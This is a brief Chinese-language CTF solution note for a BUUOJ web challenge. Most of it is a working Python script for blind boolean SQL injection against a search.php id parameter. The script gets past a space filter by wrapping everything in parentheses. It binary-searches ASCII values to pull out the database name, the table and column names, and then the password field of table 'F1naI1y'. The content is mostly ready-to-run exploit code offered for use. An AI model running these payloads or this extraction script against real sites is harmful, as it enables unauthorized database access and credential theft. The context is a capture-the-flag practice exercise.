发现过滤了一堆比如*空格之类的我们用()绕过上脚本,
网站太垃圾了请求的快,就要出错,还要加一个sleep等一下
import time
import requests
url = "http://34e5371d-f910-48da-ae2e-26ed2b56eb8d.node3.buuoj.cn/search.php?id="
result = ''
i = 0
while True:
i = i + 1
head = 32
tail = 127
while head < tail:
mid = (head + tail) >> 1
# payload = '(ascii(substr(database(),%d,1))>%d)' % (i, mid)
# payload = f'(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})'
# payload = f'(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="F1naI1y")),{i},1))>{mid})'
payload = f'(ascii(substr((select(group_concat(password))from(F1naI1y)),{i},1))>{mid})'
r = requests.get(url + payload)
# print(r.text)
time.sleep(0.1)
if "Click" in r.text:
head = mid + 1
else:
tail = mid
if head != 32:
result += chr(head)
else:
break
print(result)